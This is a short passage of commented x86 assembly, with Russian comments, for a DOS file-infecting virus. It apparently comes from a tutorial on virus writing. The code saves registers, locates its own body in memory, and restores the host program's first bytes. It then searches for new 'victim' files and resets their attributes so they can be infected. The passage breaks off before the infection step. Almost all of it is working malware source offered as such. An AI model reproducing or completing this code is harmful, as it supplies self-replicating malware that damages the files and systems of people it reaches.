mov ah,4Ch
int 21h
;Здесь начинается тело вируса
la:
;Сохраняем регистры и флаги
pushf
pusha
push ds es
;Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
call MySelf
MySelf:
pop bp
;Восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]–offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]–offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]–offset MySelf)]
mov byte ptr cs:[102h],al
;Дальнейшая задача вируса – найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
Find_First:
;Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx,offset fname–offset myself
add dx,bp
mov cx,00100111b
int 21h
;Если файл найден – переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
attributes:
;Читаем оригинальные атрибуты файла
mov ax,4300h
mov dx,9Eh ;Адрес имени файла
int 21h
;Сохраняем оригинальные атрибуты файла
push cx
;Устанавливаем новые атрибуты файла
mov ax,4301h
mov dx,9Eh ;Адрес имени файла
mov cx,20h
int 21h
;Переходим к открытию файла
jmp Open
;Ищем следующий файл, так как предыдущий не подходит